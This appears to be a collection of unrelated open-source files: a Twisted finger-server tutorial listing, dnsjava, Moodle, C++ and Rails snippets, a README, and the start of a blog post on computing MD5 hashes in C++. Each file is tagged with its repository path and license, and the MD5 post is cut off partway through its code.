<span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerSetterFactoryFromService</span>(<span class="py-src-parameter">protocol</span>.<span class="py-src-parameter">ServerFactory</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerSetterFactory</span>) <span class="py-src-variable">protocol</span> = <span class="py-src-variable">FingerSetterProtocol</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">setUser</span>(<span class="py-src-variable">user</span>, <span class="py-src-variable">status</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">FingerSetterFactoryFromService</span>, <span class="py-src-variable">IFingerSetterService</span>, <span class="py-src-variable">IFingerSetterFactory</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IRCReplyBot</span>(<span class="py-src-parameter">irc</span>.<span class="py-src-parameter">IRCClient</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">connectionMade</span>(): <span class="py-src-variable">self</span>.<span class="py-src-variable">nickname</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">nickname</span> <span class="py-src-variable">irc</span>.<span class="py-src-variable">IRCClient</span>.<span class="py-src-variable">connectionMade</span>(<span class="py-src-variable">self</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">privmsg</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>, <span class="py-src-parameter">channel</span>, <span class="py-src-parameter">msg</span>): <span class="py-src-variable">user</span> = <span class="py-src-variable">user</span>.<span class="py-src-variable">split</span>(<span class="py-src-string">'!'</span>)[<span class="py-src-number">0</span>] <span class="py-src-keyword">if</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">nickname</span>.<span class="py-src-variable">lower</span>() == <span class="py-src-variable">channel</span>.<span class="py-src-variable">lower</span>(): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">msg</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addErrback</span>(<span class="py-src-variable">catchError</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">m</span>: <span class="py-src-string">&quot;Status of %s: %s&quot;</span> % (<span class="py-src-variable">msg</span>, <span class="py-src-variable">m</span>)) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">m</span>: <span class="py-src-variable">self</span>.<span class="py-src-variable">msg</span>(<span class="py-src-variable">user</span>, <span class="py-src-variable">m</span>)) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IIRCClientFactory</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-string">&quot;&quot;&quot; @ivar nickname &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">user</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">buildProtocol</span>(<span class="py-src-parameter">addr</span>): <span class="py-src-string">&quot;&quot;&quot; Return a protocol. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IRCClientFactoryFromService</span>(<span class="py-src-parameter">protocol</span>.<span class="py-src-parameter">ClientFactory</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IIRCClientFactory</span>) <span class="py-src-variable">protocol</span> = <span class="py-src-variable">IRCReplyBot</span> <span class="py-src-variable">nickname</span> = <span class="py-src-variable">None</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">IRCClientFactoryFromService</span>, <span class="py-src-variable">IFingerService</span>, <span class="py-src-variable">IIRCClientFactory</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">UserStatusTree</span>(<span class="py-src-parameter">resource</span>.<span class="py-src-parameter">Resource</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">resource</span>.<span class="py-src-variable">IResource</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">resource</span>.<span class="py-src-variable">Resource</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">putChild</span>(<span class="py-src-string">'RPC2'</span>, <span class="py-src-variable">UserStatusXR</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>)) <span class="py-src-keyword">def</span> <span class="py-src-identifier">render_GET</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">request</span>): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUsers</span>() <span class="py-src-keyword">def</span> <span class="py-src-identifier">formatUsers</span>(<span class="py-src-parameter">users</span>): <span class="py-src-variable">l</span> = [<span class="py-src-string">'&lt;li&gt;&lt;a href=&quot;%s&quot;&gt;%s&lt;/a&gt;&lt;/li&gt;'</span> % (<span class="py-src-variable">user</span>, <span class="py-src-variable">user</span>) <span class="py-src-keyword">for</span> <span class="py-src-variable">user</span> <span class="py-src-keyword">in</span> <span class="py-src-variable">users</span>] <span class="py-src-keyword">return</span> <span class="py-src-string">'&lt;ul&gt;'</span>+<span class="py-src-string">''</span>.<span class="py-src-variable">join</span>(<span class="py-src-variable">l</span>)+<span class="py-src-string">'&lt;/ul&gt;'</span> <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">formatUsers</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">request</span>.<span class="py-src-variable">write</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">_</span>: <span class="py-src-variable">request</span>.<span class="py-src-variable">finish</span>()) <span class="py-src-keyword">return</span> <span class="py-src-variable">server</span>.<span class="py-src-variable">NOT_DONE_YET</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getChild</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">path</span>, <span class="py-src-parameter">request</span>): <span class="py-src-keyword">if</span> <span class="py-src-variable">path</span>==<span class="py-src-string">&quot;&quot;</span>: <span class="py-src-keyword">return</span> <span class="py-src-variable">UserStatusTree</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>) <span class="py-src-keyword">else</span>: <span class="py-src-keyword">return</span> <span class="py-src-variable">UserStatus</span>(<span class="py-src-variable">path</span>, <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span class="py-src-variable">UserStatusTree</span>, <span class="py-src-variable">IFingerService</span>, <span class="py-src-variable">resource</span>.<span class="py-src-variable">IResource</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">UserStatus</span>(<span class="py-src-parameter">resource</span>.<span class="py-src-parameter">Resource</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">resource</span>.<span class="py-src-variable">Resource</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">user</span> = <span class="py-src-variable">user</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">render_GET</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">request</span>): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">user</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">cgi</span>.<span class="py-src-variable">escape</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">m</span>: <span class="py-src-string">'&lt;h1&gt;%s&lt;/h1&gt;'</span>%<span class="py-src-variable">self</span>.<span class="py-src-variable">user</span>+<span class="py-src-string">'&lt;p&gt;%s&lt;/p&gt;'</span>%<span class="py-src-variable">m</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">request</span>.<span class="py-src-variable">write</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-keyword">lambda</span> <span class="py-src-variable">_</span>: <span class="py-src-variable">request</span>.<span class="py-src-variable">finish</span>()) <span class="py-src-keyword">return</span> <span class="py-src-variable">server</span>.<span class="py-src-variable">NOT_DONE_YET</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">UserStatusXR</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">xmlrpc</span>.<span class="py-src-variable">XMLRPC</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerService</span>(<span class="py-src-parameter">service</span>.<span class="py-src-parameter">Service</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerService</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">filename</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">filename</span> = <span class="py-src-variable">filename</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">users</span> = {} <span class="py-src-keyword">def</span> <span class="py-src-identifier">_read</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>.<span class="py-src-variable">clear</span>() <span class="py-src-keyword">for</span> <span class="py-src-variable">line</span> <span class="py-src-keyword">in</span> <span class="py-src-variable">file</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">filename</span>): <span class="py-src-variable">user</span>, <span class="py-src-variable">status</span> = <span class="py-src-variable">line</span>.<span class="py-src-variable">split</span>(<span class="py-src-string">':'</span>, <span class="py-src-number">1</span>) <span class="py-src-variable">user</span> = <span class="py-src-variable">user</span>.<span class="py-src-variable">strip</span>() <span class="py-src-variable">status</span> = <span class="py-src-variable">status</span>.<span class="py-src-variable">strip</span>() <span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>[<span class="py-src-variable">user</span>] = <span class="py-src-variable">status</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">call</span> = <span class="py-src-variable">reactor</span>.<span class="py-src-variable">callLater</span>(<span class="py-src-number">30</span>, <span class="py-src-variable">self</span>.<span class="py-src-variable">_read</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>.<span class="py-src-variable">get</span>(<span class="py-src-variable">user</span>, <span class="py-src-string">&quot;No such user&quot;</span>)) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(<span class="py-src-parameter">self</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">users</span>.<span class="py-src-variable">keys</span>()) <span class="py-src-keyword">def</span> <span class="py-src-identifier">startService</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">_read</span>() <span class="py-src-variable">service</span>.<span class="py-src-variable">Service</span>.<span class="py-src-variable">startService</span>(<span class="py-src-variable">self</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">stopService</span>(<span class="py-src-parameter">self</span>): <span class="py-src-variable">service</span>.<span class="py-src-variable">Service</span>.<span class="py-src-variable">stopService</span>(<span class="py-src-variable">self</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">call</span>.<span class="py-src-variable">cancel</span>() <span class="py-src-comment"># Yet another back-end</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">LocalFingerService</span>(<span class="py-src-parameter">service</span>.<span class="py-src-parameter">Service</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerService</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-variable">user</span> = <span class="py-src-variable">user</span>.<span class="py-src-variable">strip</span>() <span class="py-src-keyword">try</span>: <span class="py-src-variable">entry</span> = <span class="py-src-variable">pwd</span>.<span class="py-src-variable">getpwnam</span>(<span class="py-src-variable">user</span>) <span class="py-src-keyword">except</span> <span class="py-src-variable">KeyError</span>: <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-string">&quot;No such user&quot;</span>) <span class="py-src-keyword">try</span>: <span class="py-src-variable">f</span> = <span class="py-src-variable">file</span>(<span class="py-src-variable">os</span>.<span class="py-src-variable">path</span>.<span class="py-src-variable">join</span>(<span class="py-src-variable">entry</span>[<span class="py-src-number">5</span>],<span class="py-src-string">'.plan'</span>)) <span class="py-src-keyword">except</span> (<span class="py-src-variable">IOError</span>, <span class="py-src-variable">OSError</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-string">&quot;No such user&quot;</span>) <span class="py-src-variable">data</span> = <span class="py-src-variable">f</span>.<span class="py-src-variable">read</span>() <span class="py-src-variable">data</span> = <span class="py-src-variable">data</span>.<span class="py-src-variable">strip</span>() <span class="py-src-variable">f</span>.<span class="py-src-variable">close</span>() <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>(<span class="py-src-variable">data</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(<span class="py-src-parameter">self</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>([]) <span class="py-src-variable">application</span> = <span class="py-src-variable">service</span>.<span class="py-src-variable">Application</span>(<span class="py-src-string">'finger'</span>, <span class="py-src-variable">uid</span>=<span class="py-src-number">1</span>, <span class="py-src-variable">gid</span>=<span class="py-src-number">1</span>) <span class="py-src-variable">f</span> = <span class="py-src-variable">LocalFingerService</span>() <span class="py-src-variable">serviceCollection</span> = <span class="py-src-variable">service</span>.<span class="py-src-variable">IServiceCollection</span>(<span class="py-src-variable">application</span>) <span class="py-src-variable">internet</span>.<span class="py-src-variable">TCPServer</span>(<span class="py-src-number">79</span>, <span class="py-src-variable">IFingerFactory</span>(<span class="py-src-variable">f</span>) ).<span class="py-src-variable">setServiceParent</span>(<span class="py-src-variable">serviceCollection</span>) <span class="py-src-variable">internet</span>.<span class="py-src-variable">TCPServer</span>(<span class="py-src-number">8000</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">resource</span>.<span class="py-src-variable">IResource</span>(<span class="py-src-variable">f</span>)) ).<span class="py-src-variable">setServiceParent</span>(<span class="py-src-variable">serviceCollection</span>) <span class="py-src-variable">i</span> = <span class="py-src-variable">IIRCClientFactory</span>(<span class="py-src-variable">f</span>) <span class="py-src-variable">i</span>.<span class="py-src-variable">nickname</span> = <span class="py-src-string">'fingerbot'</span> <span class="py-src-variable">internet</span>.<span class="py-src-variable">TCPClient</span>(<span class="py-src-string">'irc.freenode.org'</span>, <span class="py-src-number">6667</span>, <span class="py-src-variable">i</span> ).<span class="py-src-variable">setServiceParent</span>(<span class="py-src-variable">serviceCollection</span>) </pre><div class="caption">Source listing - <a href="listings/finger/finger19c.tac"><span class="filename">listings/finger/finger19c.tac</span></a></div></div> </p> <p>Not much to say except that now we can be churn out backends like crazy. Feel like doing a back-end for <a href="http://www.advogato.org/" shape="rect">Advogato</a>, for example? Dig out the XML-RPC client support Twisted has, and get to work!</p> </div> <p><a href="../index.html">Index</a></p> <span class="version">Version: 13.1.0</span> </body> </html>
tzewangdorje/SIPserv
Twisted-13.1.0/doc/core/howto/tutorial/backends.html
HTML
gpl-3.0
75,854
// Copyright (c) 2005 Brian Wellington (bwelling@xbill.org) package org.xbill.DNS; import java.io.*; import java.net.*; import java.nio.channels.*; import org.xbill.DNS.utils.hexdump; class Client { protected long endTime; protected SelectionKey key; protected Client(SelectableChannel channel, long endTime) throws IOException { boolean done = false; Selector selector = null; this.endTime = endTime; try { selector = Selector.open(); channel.configureBlocking(false); key = channel.register(selector, 0); done = true; } finally { if (!done && selector != null) selector.close(); if (!done) channel.close(); } } static protected void blockUntil(SelectionKey key, long endTime) throws IOException { long timeout = endTime - System.currentTimeMillis(); int nkeys = 0; if (timeout > 0) nkeys = key.selector().select(timeout); else if (timeout == 0) nkeys = key.selector().selectNow(); if (nkeys == 0) throw new SocketTimeoutException(); } static protected void verboseLog(String prefix, byte [] data) { if (Options.check("verbosemsg")) System.err.println(hexdump.dump(prefix, data)); } void cleanup() throws IOException { key.selector().close(); key.channel().close(); } }
dikonikon/layer17
src/main/java/org/xbill/DNS/Client.java
Java
gpl-3.0
1,221
#include "SceneObject2.h" SceneObject2::SceneObject2 () { } SceneObject2::~SceneObject2 () { } void SceneObject2::Update2 () { } void SceneObject2::Gravity_check2() { } void SceneObject2::Draw2 () { } void SceneObject2::Jump2() { } void SceneObject2::isover2() { over2 = true; } bool SceneObject2::get_over2() { return over2; } void SceneObject2::notover2() { over2 = false; } bool SceneObject2::over2 = false; bool SceneObject2::finish2 = false; void SceneObject2::set_finish2() { finish2 = true; } bool SceneObject2::get_finish2() { return finish2; }
ralucamindr/LiteEngine2D
src/SceneObject2.cpp
C++
gpl-3.0
569
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Renders text with the active filters and returns it. Used to create previews of computings * using whatever tex filters are enabled. * * @package atto_computing * @copyright 2014 Geoffrey Rowland <rowland.geoff@gmail.com> * Based on @package atto_equation * @copyright 2013 Damyon Wiese <damyon@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define('AJAX_SCRIPT', true); require_once(dirname(__FILE__) . '/../../../../../config.php'); $contextid = required_param('contextid', PARAM_INT); list($context, $course, $cm) = get_context_info_array($contextid); $PAGE->set_url('/lib/editor/atto/plugins/computing/ajax.php'); $PAGE->set_context($context); require_login($course, false, $cm); require_sesskey(); $action = required_param('action', PARAM_ALPHA); if ($action === 'filtertext') { $text = required_param('text', PARAM_RAW); $result = filter_manager::instance()->filter_text($text, $context); echo $OUTPUT->header(); echo $result; die(); } print_error('invalidarguments');
nitro2010/moodle
lib/editor/atto/plugins/computing/ajax.php
PHP
gpl-3.0
1,810
/** * 表示データ作成用テンプレート(patTemplate) * * LICENSE: This source file is licensed under the terms of the GNU General Public License. * * @package Magic3 Framework * @author 平田直毅(Naoki Hirata) <naoki@aplo.co.jp> * @copyright Copyright 2006-2017 Magic3 Project. * @license http://www.gnu.org/copyleft/gpl.html GPL License * @version SVN: $Id$ * @link http://www.magic3.org */ <patTemplate:tmpl name="_widget"> <ul> <patTemplate:tmpl name="itemlist"><li><a href="{LINK_URL}"><span>{NAME}</span></a></li></patTemplate:tmpl> </ul> </patTemplate:tmpl>
magic3org/magic3
widgets/blog_archive_menu/include/template/index.tmpl.html
HTML
gpl-3.0
610
/* C++ Matrix/Vector templates (GNU Gama / matvec 1.0.01) Copyright (C) 1999, 2007 Ales Cepek <cepek@gnu.org> This file is part of the GNU Gama C++ Matrix/Vector template library. This library is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /* * $Id: inderr.h,v 1.5 2008/10/28 12:39:18 cepek Exp $ * http://www.gnu.org/software/gama/ */ #ifndef GNU_gama_gMatVec__IndexErr__h_ #define GNU_gama_gMatVec__IndexErr__h_ #include <cstddef> namespace GNU_gama { typedef size_t Index; /** Exception \brief Matrix/vector exceptions */ namespace Exception { enum { BadRank, BadIndex, Singular, BadRegularization, NoConvergence, ZeroDivision, NonPositiveDefinite, NotImplemented, StreamError }; class base { public: virtual ~base() { } }; class matvec : public base { public: const int error; const char* description; matvec(int e, const char* t) : error(e), description(t) { } }; } } #endif
gizela/gizela
util/gama-1.9.07/lib/matvec/inderr.h
C
gpl-3.0
1,790
var dir_74389ed8173ad57b461b9d623a1f3867 = [ [ "Containers", "dir_08cccf7962d497a198ad678c4e330cfd.html", "dir_08cccf7962d497a198ad678c4e330cfd" ], [ "Controls", "dir_6f73af2b2c97c832a8b61d1fc1ff2ac5.html", "dir_6f73af2b2c97c832a8b61d1fc1ff2ac5" ], [ "Util", "dir_7db6fad920da64edfd558eb6dbc0c610.html", "dir_7db6fad920da64edfd558eb6dbc0c610" ], [ "ANSIConsoleRenderer.cpp", "ANSIConsoleRenderer_8cpp.html", "ANSIConsoleRenderer_8cpp" ], [ "ANSIConsoleRenderer.hpp", "ANSIConsoleRenderer_8hpp.html", "ANSIConsoleRenderer_8hpp" ], [ "ConsoleRenderer.cpp", "ConsoleRenderer_8cpp.html", "ConsoleRenderer_8cpp" ], [ "ConsoleRenderer.hpp", "ConsoleRenderer_8hpp.html", [ [ "ICharInformation", "classConsor_1_1Console_1_1ICharInformation.html", "classConsor_1_1Console_1_1ICharInformation" ], [ "renderbound_t", "structConsor_1_1Console_1_1renderbound__t.html", "structConsor_1_1Console_1_1renderbound__t" ], [ "IConsoleRenderer", "classConsor_1_1Console_1_1IConsoleRenderer.html", "classConsor_1_1Console_1_1IConsoleRenderer" ] ] ], [ "Control.cpp", "Control_8cpp.html", null ], [ "Control.hpp", "Control_8hpp.html", [ [ "Control", "classConsor_1_1Control.html", "classConsor_1_1Control" ] ] ], [ "InputSystem.hpp", "InputSystem_8hpp.html", "InputSystem_8hpp" ], [ "LinuxInputSystem.cpp", "LinuxInputSystem_8cpp.html", "LinuxInputSystem_8cpp" ], [ "LinuxInputSystem.hpp", "LinuxInputSystem_8hpp.html", [ [ "LinuxInputSystem", "classConsor_1_1Input_1_1LinuxInputSystem.html", "classConsor_1_1Input_1_1LinuxInputSystem" ] ] ], [ "main.cpp", "main_8cpp.html", "main_8cpp" ], [ "PlatformConsoleRenderer.hpp", "PlatformConsoleRenderer_8hpp.html", "PlatformConsoleRenderer_8hpp" ], [ "PlatformInputSystem.hpp", "PlatformInputSystem_8hpp.html", "PlatformInputSystem_8hpp" ], [ "Skin.hpp", "Skin_8hpp.html", [ [ "ISkin", "classConsor_1_1ISkin.html", "classConsor_1_1ISkin" ], [ "DefaultSkin", "classConsor_1_1DefaultSkin.html", "classConsor_1_1DefaultSkin" ], [ "HackerSkin", "classConsor_1_1HackerSkin.html", "classConsor_1_1HackerSkin" ], [ "MonoSkin", "classConsor_1_1MonoSkin.html", "classConsor_1_1MonoSkin" ] ] ], [ "Units.cpp", "Units_8cpp.html", "Units_8cpp" ], [ "Units.hpp", "Units_8hpp.html", "Units_8hpp" ], [ "WindowsConsoleRenderer.cpp", "WindowsConsoleRenderer_8cpp.html", "WindowsConsoleRenderer_8cpp" ], [ "WindowsConsoleRenderer.hpp", "WindowsConsoleRenderer_8hpp.html", "WindowsConsoleRenderer_8hpp" ], [ "WindowsInputSystem.cpp", "WindowsInputSystem_8cpp.html", null ], [ "WindowsInputSystem.hpp", "WindowsInputSystem_8hpp.html", [ [ "WindowsInputSystem", "classConsor_1_1Input_1_1WindowsInputSystem.html", "classConsor_1_1Input_1_1WindowsInputSystem" ] ] ], [ "WindowSystem.cpp", "WindowSystem_8cpp.html", "WindowSystem_8cpp" ], [ "WindowSystem.hpp", "WindowSystem_8hpp.html", "WindowSystem_8hpp" ] ];
KateAdams/kateadams.eu
static/*.kateadams.eu/Consor/Doxygen/dir_74389ed8173ad57b461b9d623a1f3867.js
JavaScript
gpl-3.0
2,985
osm_tile - split an osm file into several tiles =============================================== This is a simple tool based on [Osmium](https://github.com/joto/osmium) to split an OSM file into several files covering different bounding boxes. This is done in a single pass through the input file writing out to the different tiles in parallel. Note the files generated are incomplete in the way that nodes of ways crossing the edge of the bounding box are only partially included. Whatever tool you use to process the resulting data has to be able to deal with that. osm_tile currently only processes nodes and ways. Legal stuff ----------- This program is licensed under the GNU GPL version 3. Copyright 2014 Christoph Hormann
imagico/osm_tile
README.md
Markdown
gpl-3.0
741
class AddOpenscapProxyToHostAndHostgroup < ActiveRecord::Migration def up add_column :hostgroups, :openscap_proxy_id, :integer add_column :hosts, :openscap_proxy_id, :integer add_column :reports, :openscap_proxy_id, :integer end def down remove_column :hostgroups, :openscap_proxy_id, :integer remove_column :hosts, :openscap_proxy_id, :integer remove_column :reports, :openscap_proxy_id end end
shlomizadok/foreman_openscap
db/migrate/20151120090851_add_openscap_proxy_to_host_and_hostgroup.rb
Ruby
gpl-3.0
429
--- title: 用C++计算文件的MD5值 date: 2018-11-23 16:22:44 tags: CSDN迁移 --- 用C++计算文件的MD5值,相关的代码如下: md5.h ``` #ifndef MD5_H #define MD5_H #include <string> #include <fstream> /* Type define */ typedef unsigned char byte; typedef unsigned int uint32; using std::string; using std::ifstream; /* MD5 declaration. */ class MD5 { public: MD5(); MD5(const void* input, size_t length); MD5(const string& str); MD5(ifstream& in); void update(const void* input, size_t length); void update(const string& str); void update(ifstream& in); const byte* digest(); string toString(); void reset(); private: void update(const byte* input, size_t length); void final(); void transform(const byte block[64]); void encode(const uint32* input, byte* output, size_t length); void decode(const byte* input, uint32* output, size_t length); string bytesToHexString(const byte* input, size_t length); /* class uncopyable */ MD5(const MD5&); MD5& operator=(const MD5&); private: uint32 _state[4]; /* state (ABCD) */ uint32 _count[2]; /* number of bits, modulo 2^64 (low-order word first) */ byte _buffer[64]; /* input buffer */ byte _digest[16]; /* message digest */ bool _finished; /* calculate finished ? */ static const byte PADDING[64]; /* padding for calculate */ static const char HEX[16]; enum { BUFFER_SIZE = 1024 }; }; #endif /*MD5_H*/ ``` md5.cpp ``` #include "md5.h" using namespace std; /* Constants for MD5Transform routine. */ #define S11 7 #define S12 12 #define S13 17 #define S14 22 #define S21 5 #define S22 9 #define S23 14 #define S24 20 #define S31 4 #define S32 11 #define S33 16 #define S34 23 #define S41 6 #define S42 10 #define S43 15 #define S44 21 /* F, G, H and I are basic MD5 functions. */ #define F(x, y, z) (((x) & (y)) | ((~x) & (z))) #define G(x, y, z) (((x) & (z)) | ((y) & (~z))) #define H(x, y, z) ((x) ^ (y) ^ (z)) #define I(x, y, z) ((y) ^ ((x) | (~z))) /* ROTATE_LEFT rotates x left n bits. */ #define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n)))) /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4. Rotation is separate from addition to prevent recomputation. */ #define FF(a, b, c, d, x, s, ac) { \ (a) += F ((b), (c), (d)) + (x) + ac; \ (a) = ROTATE_LEFT ((a), (s)); \ (a) += (b); \ } #define GG(a, b, c, d, x, s, ac) { \ (a) += G ((b), (c), (d)) + (x) + ac; \ (a) = ROTATE_LEFT ((a), (s)); \ (a) += (b); \ } #define HH(a, b, c, d, x, s, ac) { \ (a) += H ((b), (c), (d)) + (x) + ac; \ (a) = ROTATE_LEFT 